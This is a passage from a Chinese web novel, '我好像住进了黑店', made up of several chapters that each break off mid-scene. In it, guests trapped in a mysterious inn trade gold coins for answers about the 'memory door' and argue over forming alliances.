“我们?干掉恶灵和找到记忆之门,哪一件与奇哥有关系?帮妖族扭转局势,确实该记你一功,当时我们不是妖族阵营,不扒你的皮已经够仁慈了。” 敌意满满的声音从身后传来。 俞小澄扭头便看见吴樊祐带着张尧走了过来,带着目中无人的嚣张气势,大摇大摆地坐了下来。 陈奇面上有些挂不住,为了掩饰怒火,嘴角不由得抽搐,硬挤出一张笑脸说道:“梦境中的事,大家都身不由己,要说毒辣,这里恐怕有人比我狠多了,这一回我好歹没害任何一个住客,不是吗?” 陈奇没有明说,可话里意有所指,俞小澄自然明白他想说的是谁,不管是禾苒还是那个高中生,手上都染了住客的血,如何都洗不干净了。 俞小澄只是听着,没有理会他,但身旁的白羽楠却将筷子掉到了桌下,一边道歉一边弯腰去捡。 在别人看不见的地方,俞小澄看见白羽楠的手止不住地颤抖,她知道,愧疚会跟着人一辈子,不管那人如何假装不在意,都可能因为不经意的一句话,一个场景,重新刺进心里。 俞小澄不懂要如何安慰,只能装作没看见,打断陈奇:“究竟有什么不一样了?” 陈奇从吴樊祐身上收回视线,笑道:“想必小俞妹子已经找到对付恶灵的办法了,而记忆之门极有可能就是恶灵的所有物。” “不、不算找到……商先生急切想要掌控全场,才引人怀疑,下一次能否找到,没法保证……”俞小澄辩解道。 “别谦虚了。”陈奇心中有所盘算,“以小俞妹子的能力,再加上我帮忙,逃离旅店不成问题,为了应对今晚再出现全幽兰的局面,我们可以先组队,尽量保证同一阵营,方便行动。” 听到陈奇的话,几乎所有人都露出异样的表情。 “你不是说阵营是随机的吗?”吴樊祐表示质疑。 陈奇身子稍稍后仰,靠在椅背上,脸上似笑非笑,就像掌握了全局一样,装模作样地说:“是随机没错,可方才根据大家昨夜入住情况,我大致猜出阵营分配的规律了。” 陈奇从兜里拿出一张纸,拍在桌上,上面画着两排整齐的格子,格子里写着名字,正是他们昨夜的入住示意图。 相同阵营的人几乎都住在同侧相邻的房间内,看上去的确像是有特定的规律,而非完全随机。 张尧看着图,诧异地说道:“你这推论好像有一点说不通,昨晚我和吴哥住在一起,可进入梦境,我们却被分配到了不同阵营。” 陈奇刚积攒起来的自信瞬间土崩瓦解,拿起示意图反复确认数遍,面露难堪:“这……也许,大概,可能,刚好你们住的房间比较特殊……哦,肯定是这样,毕竟阵营只有三个,多少会有些不均匀。” 他的解释很难说服张尧,但张尧懒得跟他争论,只好假笑道:“你说是就是吧。” 属实有些说不通,俞小澄看着吴樊祐和张尧,有些百思不得其解,为何就只有他二人与众不同,破坏了这所谓的规则列队。 “不管怎样,只要我们尽量住在一侧,至少可以提高分配到相同阵营的机会。”陈奇不想思考太多无所谓的东西,出言打断了所有人的疑心。 正在这时,一声刺耳的椅子移动的声音响起,众人循声望去,只见独自坐在角落里的高中生忽然起身,大步走向陈奇。 “真的是记忆之门?”高中生声音颤抖地质问,“不是说找到记忆之门就可以离开吗?为什么我还在这里?大林又去哪儿了?!” 无礼的质问让陈奇大为不快,他并不太想搭理高中生,但脑筋一转,似乎想到什么,便客气道:“或许有什么我们不知道的使用规则。金币你有吧?下午你可以去咨询客服。” 听到陈奇的话,俞小澄立刻明白他打着什么鬼主意,定然是想借他人之手套取信息。他这一次在梦境中大概没收获到金币,所以想唆使别人去提问,他坐收渔翁之利。 高中生果然上钩,手伸进了口袋里,若有所思地扫视一圈,最后像是打定了主意,转身离开了餐厅。 “那孩子情绪好像不太稳定……”白羽楠呢喃自语。 俞小澄也看出那高中生不太对劲,不管在梦境中还是在旅店里,她总感觉那三个高中生精神状态有些怪异。 正思考之际,吴樊祐凑到她耳边,低声告诫:“学姐,最好离那小子远一些,就他那濒临崩溃的样子,不知道会惹出什么乱子。” 吴樊祐的叮嘱与她心中所想差不多,于是她点头表示赞同。 见她将告诫的话放在心上,吴樊祐仿佛松了一口气,转而对陈奇说道:“想合作也不是不行,可你能为我们做什么事?好歹得让我们看到诚意吧?” 这说辞有些似曾相识,引起陈奇的警惕,他谨慎地反问:“你又要什么诚意?” 吴樊祐笑得就像有什么阴谋一样:“我们还有不少疑惑未解开,你能回答当然最好,可如果回答不了,是不是该花金币去找客服问问呢?” 陈奇刚算计完别人手里的金币,回头就遭人惦记上,这让他属实难绷,两手一摊,厚着脸皮说道:“不是我不想问,这该死的梦境一个金币都没让我赚到,我也很无奈啊。” 俞小澄知道他没有撒谎,毕竟这次梦境的金币任务是阵营之间的相互残杀或解救村民。 陈奇离开仙门,便撞入商先生的陷阱,掳走了一个学生,却不属于玩家,只是调换了阵营,并无金币奖励。 后来回到仙门,陈奇为了破坏 59. 整理 《我好像住进了黑店》全本免费阅读 这时,俞小澄才注意到禾苒还穿着梦境中的古装。 显然,客房服务对她也是无效,或者说,她压根就不知道还有客房服务的存在,就像张尧向她们展示的一样,房中的电话根本无法使用。 问题又回到了吴樊祐的身上,这令人难以置信的现象究竟真相如何,没有人知道。 但在这个问题上,俞小澄、白羽楠和张尧仿佛有种心照不宣的默契,谁都没有开口说出吴樊祐使用过电话这条信息。 他们只是沉默着,目光集中到吴樊祐身上,等待着他的回答。 吴樊祐冲他们笑了笑,毫不脸红地胡诌道:“谁知道呢,说不定是对我学姐战胜恶灵的奖励。” 禾苒满脸怀疑,死死盯住俞小澄,似乎只想听她会如何解释。 俞小澄浑身不自在,摸了摸耳朵,顺着吴樊祐的话说道:“哦,也许真是如此,反正夜里醒来,衣服就已经出现在房间里了。” 这样的谎言,白羽楠和张尧都没有拆穿的打算,一阵沉默中,四人仿佛形成了一个小团体,团体内的秘密便不想轻易透露出去。 “还能如此……”禾苒将信将疑,低头若有所思。 白羽楠生硬地岔开话题:“说起来,平时若想换衣服该怎么办呢?” 禾苒将金币抛起又接住,说:“一个金币可以向前台客服换取任何生活物资。这枚金币我就留着换衣服了,不管怎样,这身衣服都有些碍事。” 说完后,禾苒便招呼曾勇离开了餐厅,她失血过多,身体还未痊愈,想到一楼大厅睡上几个小时,尽快恢复精力,毕竟,谁都不知道今晚又会遭遇怎样的梦境。 终于,餐厅里只剩下俞小澄四人。 俞小澄将手里和兜里的金币全部放到桌上,看到14个金币,白羽楠和张尧全都长大了嘴。 张尧:“可以啊小澄姐,你这做了多少任务啊?” 白羽楠:“怎么又多了几个?这么多金币,足够我们弄清所有问题了吧?” 她这堆金币得来也算巧合,其中还有三个是从张尧身上薅来的,这种一言难尽的事,她实在说不出口,敷衍几句后,便正经说道:“在下午前台开启前,我们先整理一下问题好了,不过我还想留点金币换盲盒。” 俞小澄感觉,每次抽取盲盒时,多多少少都预示着晚上会有何种梦境,所以他们说不定可以通过抽到的道具推测出梦境主题。 白羽楠和张尧表示赞同,四人吃完早饭后,到休息活动区找了张桌子围坐在一起,又找来纸笔开始整理起想要搞清的问题。 “首先得搞清记忆之门是否有使用规则。”张尧一边在纸上记下,一边说道。 吴樊祐指尖在这个问题上轻轻点了两下,一脸狡诈地说:“陈奇不是骗那个高中生去问这个问题了嘛,我们可以节省一个金币,到时候让那高中生先问。” 张尧调侃:“你还挺精打细算的。” 吴樊祐回嘴道:“我只是没有你蠢。” 俞小澄连忙打断二人:“我也有个问题,刚到旅店时我就想知道,造梦者是什么?但当时免费机会难得,没敢问这个问题。” 张尧说:“那不用问了,我以前听人问过类似的问题,但客服的回答很含糊,说是梦境规则制定者。” 俞小澄缓缓说道:“我听商先生说,他是造梦者。” 张尧略显惊讶:“也就是说,恶灵便是造梦者?因为名称的误导,我们一开始就想错了,恶灵不止是梦境猎杀玩家的工具,还决定了梦境的规则。” “所以,造梦者究竟是什么……”俞小澄有些茫然。 吴樊祐说:“学姐不必太纠结,也许造梦者就像是游戏关卡的关底BOSS,只要打败关底BOSS,就能通关游戏。” 吴樊祐的回答并没有使俞小澄释怀,她又一脸疑惑地问出其他问题:“我们又为何不断进入游戏?我们为何会来到穷途旅店?为何我们会遗失部分记忆?” 没有人能回答,张尧默默写下这三个问题,视线随着笔尖在这些文字间游走,情绪低落地说道:“这些问题就算问了客服也得不到答案,客服会说没有权限。” “也有人问过这些问题?”白羽楠问。 张尧点了点头。 气氛有些压抑,吴樊祐敲着桌子吸引三人注意,道:“没必要想这么多,反正我们已经知道了离开旅店的办法,不是么?” 白羽楠附和道:“没错,说不定今晚我们就可以离开这个鬼地方了。” 一句话,让压抑沉闷的气氛又积极起来,张尧确认道:“说起来,记忆之门就藏在造梦者的随身物品中?” “不知道,但至少有了方向。”吴樊祐说,“只要找到谁是造梦者,将相关的东西全摸一遍,总能找到记忆之门吧?” “怎么从你嘴里说出来,有一丢丢猥琐?”张尧一脸嫌弃。 吴樊祐又举起了拳头,张尧连忙识相地道歉。 只有俞小澄还是一副心事重重的模样,有太多疑问堆积在心里,她从张尧手中拿过纸笔,一一写下心中疑问。 如果恶灵就是造梦者,制定了梦境的规则,那它又为何要留下可以消灭自己的手段? 记忆之门出现前的记忆碎片是否是属于某位住客的记忆? 是否所有住客遗失的记忆都藏在记忆之门里? 找回记忆和寻找记忆之门是否指向同一件事? 看着俞小澄写下的问题,张尧说出自己的想法:“你们记不记得,陈奇说他曾见过那样的记忆碎片?” 张尧的提醒让俞小澄回想起记忆之门出现前的场景,那时确实陈奇第一个提到那些碎片是记忆。 考虑到也许可以省去花金币咨询客服的麻烦,四人商议后,决定先找陈奇问问清楚,并让吴樊祐出面将陈奇找过来。 吴樊祐动作很快,没一会儿就揪着陈奇的衣领,将人从吸烟室捉了出来,那样子像极了提审犯人,目睹整个过程的叶思远惊恐地跟在二人身后。 一路上只听见陈奇骂骂咧咧的叫声。 围坐在休息活动区的三人,捂眼的捂眼,遮脸的遮脸,只想假装不认识那个行为抽象的“警官”。 “不是说好合作了吗?这是干嘛?” 陈奇被拖到了众人面前,一脸不爽地掰着吴樊祐的手,可抓住他衣领的手就像鹰爪一般。 张尧翻着白眼打落吴樊祐的手,给陈奇让了个坐,和气地解释道:“呵呵,我们有些不明白的地方,想请奇哥来聊聊。” “请?就是这种请法?”陈奇抖了抖衣领,一副趾高气昂的模样。 吴樊祐捏紧拳头哈了一口气,微微一 60. 提问回答 《我好像住进了黑店》全本免费阅读 安静的楼梯间里,俞小澄与吴樊祐沉默对视,仿佛都想从对方眼中寻找到答案。 吴樊祐的话让俞小澄感觉一丝不协调,总觉得哪里不对劲,可一时又说不清怪在哪里。 她摸不清吴樊祐想要表达的意思,内心不由得紧张起来,强装镇定地笑了笑,试探道:“你是怪我当时犹豫了吗?我不是因为别人……只是不确定……” 俞小澄感觉一时很难解释清自己当时的心境,她的确犹豫了,不是不信那是记忆之门,只是有那么一瞬,她担心那真是记忆之门。 “我没有怪你的意思。”吴樊祐焦虑得原地打转,挠着头解释,“只是有时候,我希望学姐能自私一些。” “自私?呃……你可能误会了,我没有,真不是因为别人。”俞小澄轻笑着,想要告诉吴樊祐他可能有所误会,却又觉得哪里不对。 为什么这是一个能谈得上自私的问题? 吴樊祐眼神中满是关心,语气中带着无奈:“不是最好,下次学姐别再犹豫了,我只是希望学姐能尽早离开这里,不会害你。” 俞小澄愣了愣神,犹豫再三问道:“走进记忆之门是一件需要自私才能做的事吗?” “啊?”吴樊祐像被定住了一般,表情从困惑到慌乱,几声刻意的笑做遮掩,他从身后搭上俞小澄的肩,推着俞小澄往前,故作轻松地说道,“哪里跟记忆之门有关,我是说进入梦境,别太在意他人,让自己受伤。” “你刚不是说……” “你听错了。” “我的确听到你说找到记忆之门……” “那你理解错了。” “你的话还能有别的理解?” “我语文不好,经常说话有歧义,你别在意。” “你可是学霸……” “但我是理科生。” “……” 俞小澄被吴樊祐推着一步步走下台阶,想要再追问,却屡屡被吴樊祐带偏,很快二人回到了大厅里,俞小澄只好作罢。 与张尧和白羽楠汇合后,白羽楠毫无掩饰地问俞小澄:“他没骚扰你吧?” 俞小澄慌张否认,张尧在一旁偷笑,又成功吸引了吴樊祐的火力,吴樊祐便将在白羽楠那受的气发泄到张尧身上,二人再次打闹起来。俞小澄有时分不清这二人到底是水火不容,还是针芥相投。 这一天,穷途旅店的大门始终紧闭,他们没有迎来新住客。 这意味着,他们没有免费的咨询机会,大多数人面露失望之色,却也很快调整好情绪。 等到下午两点的钟声响起,旅店前台出现了二号客服。 二号客服是一位文质彬彬的老者,整体有些消瘦,苍老却硬朗,双目明亮有神,脸上带着客服特有的格式化笑容,挤出眼角深深几条鱼尾纹。 客服精神抖擞地站在前台,一开口又是那句熟悉的台词:“各位贵宾下午好,二号客服为您服务,兑换道具盲盒靠右,咨询客服靠左,请排队等候。” 高中生如同一支离弦的箭,在所有人还未起身时,迅速冲到了前台,往咨询处的木箱中投入一枚金币,迫不及待问道:“为什么我没有进入记忆之门?” “等一下!不算!”陈奇猛然起身,急急忙忙赶到高中生身旁,伸手阻拦,“小鬼,你别乱问啊!” 其余人见状,也赶紧起身,围到了前台。 高中生情绪并不稳定,被陈奇阻拦,心中顿生怒气,态度凶狠地问:“干嘛?!” 二号客服无视陈奇,例行公事一般询问高中生:“您是否确定您的问题。” “不,这个不是。”陈奇焦急喊道。 二号客服始终注视着高中生,似乎只想要他的回答。 高中生看了陈奇一眼,压制住心中烦躁的情绪,让二号客服先等等,而后问陈奇到底为何阻止自己。 陈奇好言规劝:“你这么问,他说不定会回答,是你不符合记忆之门的使用条件,岂不浪费一个金币。” 高中生沉思片刻,感觉陈奇说的有道理,便问:“那你说要怎么问。” 陈奇感觉抓到机会,兴奋说道:“你就让他告诉你记忆之门的相关规则。” 对于听人摆布,高中生有些不乐意,却也没有拒绝的理由,便依照陈奇所言对二号客服提出了问题。 二号客服缓缓回答:“找到记忆之门的钥匙,便可开启记忆之门,但每次只允许一人使用。一旦有人踏入,记忆之门就会消失。首先推开记忆之门的人,会自动被认定为使用者,可进入记忆之门接受验证,验证合格,方能离开穷途旅店。” “什么验证?不合格会怎样?”高中生一脸不解。 “这是两个问题,请先投入两个金币。”二号客服微笑着。 高中生不假思索,迅速将手中剩余两枚金币塞进了木箱中,陈奇在一旁想拦也来不及了,气得直翻白眼。 二号客服确认收到金币后,不紧不慢说道:“记忆之门使用者会被验证是否已经反省了自己的罪过,是否适合离开穷途旅店。一旦被判定为不合格,使用者会立刻被抹除。” 这个回答让在场所有人都震惊不已,沉默代替了一切,没有人高呼荒唐,也没有人强调清白,就算曾经他们无辜,如今也都沾上了污点。 穷途旅店究竟是怎样的存在? 俞小澄更加疑惑了。 高中生显然并不关心这些,他更在意的是自己的同伴,在听到若不合格会被抹除的回答后,他激动地询问:“你们拿大林怎么样了?他离开旅店了吗?” 面对他的提问,二号客服无动于衷,就仿佛没有听见似的。 客服的态度激怒了高中生,他愤怒地拍打着柜台,试图引起二号客服的注意,可这并不管用,二号客服始终表现淡然。 “我在问话,你是不是聋了?!”高中生暴跳如雷。 看着暴躁欲对客服动粗的高中生,陈奇狡猾地退了几步,静观其变。叶思远虽不知陈奇为何后退,但直觉告诉他跟着陈奇准没问题,于是也有样学样退到了一旁。 此刻围在前台的其他人也意识到情况不对劲,纷纷后退远离,就连吴樊祐见状也拉着俞小澄退到了安全距离。 俞小澄陡然想起了旅店规定的第七条——不可对客服不敬。 犹豫间,俞小澄高声提醒:“没有金币,提什么问题他都不会理你,你别白费力气。” 愤怒的眼神从二号客服转移到俞小澄,吴樊祐一把将她拉至身后,挡住了高中生的视线,并十分警惕地死盯着高中生,冷峻的目光做出警告。 高中生或许被吴樊祐的气势压倒,再次收回视线望向了二号客服,显然俞小澄的提醒他没 61. 提问回答 《我好像住进了黑店》全本免费阅读 方才发生的一幕在众人心上蒙上一层阴影,他们注视着俞小澄靠近咨询处,没有上前一步,对于前台客服的态度亦更加谨慎起来。 旅店规则并非摆设,今日二号客服给他们狠狠上了一课。 柜台内,二号客服始终面带笑容,那从容的模样就好像什么都没有发生过似的。 张尧站在不远处,一脸担忧地朝俞小澄喊道:“小澄姐,要不我们明天再问吧……那些问题好像也不是非问不可……” 吴樊祐冷冷看了张尧一眼,讥笑道:“看来你也知道明天你还得在旅店呆着啊?我学姐今晚可就先告辞了。” 张尧被这句话噎住,他本意是想安慰俞小澄,没想到竟给吴樊祐抓到机会一番嘲讽,没好气地瞪了回去。在此情形下,他不欲多费口舌,索性就此打住。 俞小澄闻言缓缓回过头,朝张尧摇了摇头,轻声回应:“我没事,迟早都得问。” 俞小澄定了定心神,深吸一口气,往木箱中投入一枚金币,问出了她准备好的第一个问题: “记忆之门出现前的记忆碎片,是否属于某位住客?” 二号客服彬彬有礼点头道:“是的,在我的认知中,这样说没有任何问题。” 俞小澄接着投入金币继续问:“那是不是任何住客遗失的记忆都有可能在记忆之门前出现?” 这一次,二号客服摇头否认:“不,记忆之门前出现的记忆只属于记忆之门钥匙的所有者。” 记忆之门钥匙的所有者?这又是什么意思? 那些记忆碎片的确属于某位住客,却不是随机出现,而是特定的某人,是这个意思吗? 俞小澄试图理解二号客服话中隐藏的含义,可感觉心中疑惑不减反增。 她甩了甩头,觉得先不要自我纠结,低头看了看纸上记下的第三个问题——记忆之门的形成是否是因为记忆碎片没有人认领? 看着这个问题,俞小澄眉头紧锁,心中产生一丝动摇,她感觉不用再问这个问题,因为方才高中生提问时,二号客服的回答已经帮她理清了头绪。 “找到记忆之门的钥匙,便可开启记忆之门。” 记忆碎片因记忆之门的钥匙而存在,不管有没有人认领记忆,记忆之门都会出现,这是记忆之门的规则,它的出现与住客无关。 于是她转而问了另一个问题:“所有住客遗失的记忆是否一定会出现在当晚进入的梦境里?” 是的,这是除了记忆之门外另一条逃出旅店的路,如果答案是肯定的,那他们也许可以不硬刚恶灵。 然而,二号客服的回答仿佛熄灭了她眼前的烛火,让她两眼一黑。 “不是,每场梦境都只会随机分配一位住客的记忆,既不能保证当晚有您的记忆,也不能保证您的记忆会出现在您正经历的梦境之中。”二号客服慢条斯理地解释着。 说完这些话,他甚至还体贴地补充道:“属于他人的记忆您自然无法激活,所以从您的角度来看,也可以说有的梦境没有记忆。” 除了震惊,俞小澄还感到一阵晕眩,仿佛眼前一条逃生通道突然塌陷,她双手撑在柜台上,才稳住身子没有跌倒。 吴樊祐有些担忧地走上前来,一把搀住她的胳膊,低声宽慰:“这种事其实挺好猜,否则应该出现不少找回记忆的情况,可姓陈的迄今为止只目睹过一回。” 是啊,她想得太理想的。 此时人群中发出窃窃私语的耳语声,对于这样的结果,显然没有人能满意,他们痛斥着旅店规则的不合理,抨击着这种毫无人性的安排。 可他们仅仅是低声交谈,没有人敢冲着二号客服发泄不满,毕竟已有前车之鉴,谁也不敢任性妄为。 俞小澄重新打起精神,看了看纸上的最后一个问题——造梦者为何要制定可以毁灭自己的梦境规则? 原本计划提问四个问题,剩余十枚金币兑换道具盲盒,可为了帮高中生弄清同伴的下落,她消耗了一枚金币,最终也没能阻止高中生的暴走,那枚金币算是彻底废了。 如今还有一个关键问题,俞小澄在兑换道具盲盒和继续咨询客服之间很是犹豫,思前想后,她最终觉得信息比道具更要紧。 俞小澄又从兜里掏出五枚金币,反正这一个问下去,金币也不够换两个盲盒,她索性再多问几个问题。 将一枚金币投入木箱里,提问前,她稍有犹豫,然后将问题改了改,问:“恶灵为何要制定可以毁灭自己的梦境规则?” 如果二号客服没有否认恶灵可以制定梦境规定,那便可以肯定,恶灵就等于造梦者。 很快,二号客服给出了解答:“这个问题有些复杂,您似乎搞混了定义,毁灭恶灵的规则不是梦境规则,而属于旅店规则。恶灵能制定的只有梦境规则,并不能制定旅店规则。至于为什么有毁灭恶灵的规则,那是本旅店的防御机制,还请谅解。” 俞小澄懵了,就像是丢了魂儿,瞪大双眼盯着二号客服。 好消息:二号客服的回答证实了他们对恶灵等于造梦者的猜测。 坏消息:俞小澄的CPU烧了。 二号客服说毁灭恶灵的规则是旅店规则,俞小澄尚可理解为:旅店为保护住客偷偷在梦境中隐藏了反制恶灵的手段。 可事实是旅店为了防御,制定了这项规则。 俞小澄不理解,旅店有什么好防御的?难道梦境中的恶灵还能跑出来毁了旅店? 既然是旅店规则,为何一开始的公告上又没有这条规则呢? 旅店一定还隐藏着某些规则。 俞小澄思索片刻,再次投币提问:“每晚的房型是由什么决定的?” 为什么之前一直平均分布的房型,昨晚突然变了样?陈奇说他半月来从未见过如此奇怪的事,也没有听谁提起过,那应该是遵循某种默认的规则才对。 二号客服回答:“只要没有外力干涉,每晚二楼都默认每种房型出现三间。” 果然,客服的话印证了俞小澄的猜想,于是她继续问下去:“有哪些外力可以造成房型改变?” 二号客服说:“只有两种情况可以更改房型,一是使用管理员权限,二是住客用十金币兑换一次临时的房型指定权限,可自由决定当晚的房型情况。” 此言一出,大厅内的众人炸了过,禾苒大步迈到俞小澄身旁,一把抓住了俞小澄的手,急切地说:“咨询就到这里,别再使用金币了,快看看你还剩几枚。” 包括俞小澄在内的所有人立即明白了她的意思,只要还有 62. 结盟 《我好像住进了黑店》全本免费阅读 陈奇意在挑拨离间,明眼人都看得出,俞小澄对这个问题根本不在意,因为她本人对要离开旅店尚有一丝犹豫。 不知从何时起,她有些抗拒被遗忘的记忆,那些记忆恐怕不是什么好事,也许涉及一号客服口中所谓的“有罪”。她真的要回想起,然后回归原本糟心的生活吗?她没有答案。 对于俞小澄来说,唯一的亲人已经离世,没有朋友,没有工作,没有任何牵挂支撑她离开这里。经历过两场梦境,俞小澄忽然觉得逃离似乎也不是那么迫切的事。 至少在穷途旅店,还有人在意她的生死,让她觉得自己不是孤单一人,所以她犹豫了。 一旦回到原来的生活,那人还会与她联系吗?她有自信让那人看见自己狼狈不堪的生活吗?无论哪种结果,她都不敢去想。 如果可以,她宁愿与那人留在旅店再多些时间。 俞小澄盯着吴樊祐想了很多,直到盯得吴樊祐憨笑着发问:“学姐……你这样看我,不会真听姓陈的放狗屁吧,我肯定是想尽快送学姐出去啊!” 俞小澄张了张嘴,话到嘴边又咽了回去,随即她摇了摇头,慌张地移开了视线,掩饰道:“没有,我只是觉得今夜会出现什么房间都还说不定,谈论记忆之门,好像有点言之尚早。” 吴樊祐看着俞小澄,脸上没了笑,一声不吭,不知在想什么,仿佛纠结了许久才对俞小澄说道:“学姐实在不放心,就兑换个盲盒吧。” 俞小澄刚开始有些懵,看着吴樊祐忧心忡忡的模样,她忽然开了窍,意识到吴樊祐将她的话理解成了害怕无法安然度过今晚,所以才提议兑换道具。 她赶紧将金币收好,甩掉周身散发的颓丧味,振作起精神,故作爽朗地展露笑颜:“不用!还是留着明日兑换房型指定权限吧,记忆之门只能走一人,不管走的是谁,这些金币对剩下的人来说都很重要。” “……” 吴樊祐欲言又止,终是什么也没有说出口。 陈奇呵呵笑了笑,瞳孔中闪烁着老奸巨猾的光,伸手到包里摸出烟盒,里面只剩一根烟了,他将烟叼在嘴里,烟盒揉成一团,招呼着叶思远往电梯口走去,边走边嘀咕: “啧,今晚再走不了,又得花金币买烟了……” 等到陈奇和叶思远离开大厅后,方才还在气恼的禾苒冷静下来,心平气和地对俞小澄说:“刚是我冲动了,你别放心上,我觉得大家还是可以继续合作的。” 俞小澄满是不解,却又好奇她到底想说什么,还未开口,反倒是张尧更沉不住气,抢话道:“苒姐……刚客服的话你没听到吗?就算找到记忆之门,当晚也只能离开一人,这要如何合作?” 或许,连张尧自己都开始怀疑抱团的意义何在了,即便他没有明说。 相比之下,白羽楠平静许多,不知道在想什么,似乎对于离开的机会没有那种志在必得的欲望,这点和俞小澄有些相似处。 “梦境的危险依然存在,大家齐心协力更能应对潜在的危险,找到记忆之门的几率也更大,不是吗?”禾苒有条不紊地回答。 曾勇连连点头,附和道:“没错,各自为营不明智,就说那姓陈的,下次能干出什么缺德事,还真不好说,所以我觉得啊,大家更应相互照应。” 对于上次梦境中陈奇设计陷害的事,曾勇看上去还耿耿于怀,加之有禾苒煽风点火,两组人之间的关系已彻底对立。 “如何照应?再将姓陈的绑起来?”吴樊祐说着玩笑话,根本不将这二人的担忧放在眼里。 禾苒并没有因为吴樊祐的玩笑话而恼怒,目光坚定地盯着俞小澄,说:“俞小澄,或许你可以跟我们分享一下你对付恶灵的手段。” 话音刚落,吴樊祐冷冷问道:“凭啥跟你分享?” 禾苒虽不满吴樊祐总是抬杠,可如今还想谋求合作,故而耐着性子解释道:“在对付恶灵这件事上,我们是同一战线的,情报共享不是理所应当吗?再说,记忆之门一晚只能走一人,如果俞小澄离开了,剩下的人怎么办?” 听了禾苒的话,俞小澄内心有一丝触动。 对付恶灵的事不应该指望她一人,其他人若能帮忙,对所有玩家来说都是好事,她的确没有隐瞒的理由。 不止禾苒和曾勇,就连白羽楠和张尧都好奇地望着她,似乎都想知道她是如何打败恶灵的。 吴樊祐并不在意,正欲出言讥讽。俞小澄扯了扯他的衣袖将其拦下,然后指了指大厅,领着所有人往沙发区走。 待到所有人在沙发落座,俞小澄似乎终于下定决心,从兜里掏出两个陶瓷娃娃,思索着该从何说起,慢吞吞地开了口: “来到穷途旅店的第一晚,我见鬼了。” “然后鬼说跟你有缘,送了你两个手办,还要传你绝世神功,9块9一本的那种?”曾勇看着放在茶几上的两个摆件,脸上写着“不信”。 俞小澄放弃解释来龙去脉,手指轻轻点在招财的头顶,一本正经地解释:“这个娃娃叫招财,不知为何,能够使用梦境中的符箓,你看他背上的披风,就是我昨天抽到的那张符纸。” 几乎所有人都躬下身子,将脸凑到近处,围成一圈观察着茶几上的摆件,在俞小澄的指点下,很快便发现了陶瓷娃娃背上披的黄纸。 “你确定这是你抽到的道具?”张尧小声确认。 俞小澄点点头:“真的,不信你问吴樊祐,昨天招财身上还没有呢。” 吴樊祐面对众人质疑的目光,无可奈何地说道:“学姐没说谎,你们爱信不信。” “信,怎么不信,我一直都相信小澄姐。”张尧说着拿起两个陶瓷摆件把玩,“可这道具要怎么用?” “这个……”俞小澄挠着头,思索着该怎么解释,“他们有自己的意识,进入梦境会以人形现身,只是好像大家都看不见,我也不知道什么原理……与其说是道具,不如说是幽灵伙伴?” 禾苒眼神中充斥着怀疑,表情有种一言难尽的无力感,带着试探问道:“这样的伙伴,你以前见过吗?” 俞小澄茫然地望着禾苒,问:“以前?我偶然在旅店中遇到的,以前怎么会见过呢?” “不是,”禾苒清了清嗓子,换了种问法,“遇见只有你能看见的朋友,这样的事以 63. 团队 《我好像住进了黑店》全本免费阅读 迎面而来的是死一般的沉寂,所有人都陷入沉思,思考着这种结盟条件是否值得下注,同时怀疑俞小澄有没有可能接受这样的提议。 首先打破沉默的是白羽楠,她起身拉着俞小澄就要走,义愤填膺地说道:“她的算盘珠子都要蹦我脸上了,你没必要考虑这种道德绑架的提议。” 禾苒没有起身阻拦,却冷言讥讽:“你这假惺惺的模样装给谁看?想博取好感,让她尽早送你出去?但吃相会不会太难看了点,你有什么资格替俞小澄做决定?” 白羽楠停下脚步,一脸难以置信地盯着禾苒,气极反笑:“自己心里脏,看谁都脏。” 曾勇见二人要吵起来的样子,打圆场道:“大家都只是想离开这里,没必要伤和气。也不一定非要她留到最后,这不只是一种假设嘛!再说,就算真到了那一步,只要够十枚金币,不是可以选择最低难度的梦境吗?” “没关系,我可以最后一个离开。”俞小澄突然开口。 所有人都看向俞小澄,有人是不解,有人是叹气,有人是满意,有人是欣喜,只有吴樊祐若有所思,脸上没有表现出过多的情绪。 “所以,你们要如何决定离开顺序?”俞小澄望向禾苒,坦然讨论,“你不会打算再用你的便签纸道具吧?” 禾苒摊了摊手,直言:“你们都知道这把戏了,我怎么会蠢到故技重施?另外,便签纸我带进梦境中使用了,你也知道,道具一旦带入梦境,便无法再带出了。” “你带没带进去,只有你自己知道。” 白羽楠虽不明白她们话中所指,但因俞小澄的决定而心烦意乱,便顺势怼了一句。 禾苒伸出胳膊,将手腕平摊在桌面上,她手腕处的数道伤口全都已经愈合,剩下若隐若现的疤痕。 “还记得木系试炼吗?我的考题可不是吹蜡烛,而是治愈法术。”禾苒说话间似乎又回想起可怕的经历,身子不由得缩紧,“考官割破我的手腕,要么用法术使伤口愈合,要么一直流血四个时辰。” 或许是禾苒的描述也勾起了白羽楠的回忆,她不禁倒吸一口凉气。 “靠,什么变态试炼!那你如何逃出来的?” 因为陈奇的骚操作而逃过一劫的曾勇,此刻才知道还有如此恐怖的遭遇,忍不住多嘴一问。 禾苒缓缓说道:“开始我感觉只能等死了,当时我身上只剩几张便签纸,实在不知道要如何假装自己会治愈术,偶然尝试下,发现纸面上不仅可以随我心意变换文字,还可以变换成我希望的样子。” 说到此处,原本不知道禾苒曾在抽签上动过手脚的两人也慢慢品出了味儿,无不一脸震惊。 “总之,我用便签模拟自己的皮肤,成功骗过考官,让他以为我伤口愈合了,才得以逃出试炼塔,这不正是便签纸被我带入梦境的证据么?如果你们还不信,可以自己准备纸笔,我也不介意。” 禾苒没有给曾勇和白羽楠插嘴的机会,迅速给这个话题画上了句点。 曾勇想说什么,似乎又顾及禾苒的面子,便忍住好奇闭上了嘴。 白羽楠则看向俞小澄,只等俞小澄做决定。 俞小澄、吴樊祐以及张尧三人,都知晓抽签作弊的内幕,所以对此事没什么反应,只是听说那便签纸道具还有这样的用途,甚为惊讶。 可俞小澄心中却浮现出另一个问题:禾苒通关是因为有道具加持,那没有道具的白羽楠究竟是如何通过土系试炼的? 按耐不住好奇心,俞小澄转而问白羽楠:“当时你的考题是什么?” “啊?这重要吗?”白羽楠诧异地回道,“那神经病考官要我聚沙成墙,抵挡他扔过来的暗器。” 俞小澄忽然明白白羽楠当时为何浑身血污,看来她挨了不少暗器。 “我自诩运动神经还不错,可那神经病下手是真的狠,开始我还闪过几次,后来他不知道施了什么法,那暗器满屋子追着我跑,不见血不停……” 白羽楠讲述时依然心有余悸,咽了咽口水又继续说下去,“后来我干脆撕了裙子,用布条装了沙子当沙锤,以此击落追赶的暗器。可这样并不能结束试炼,考官没有停止攻击,我被追得实在没了力气,身上也伤得不轻,气急了,干脆抓了一把沙子撒了考官一脸。” 张尧禁不住感叹:“你是真的勇啊……后来呢?” 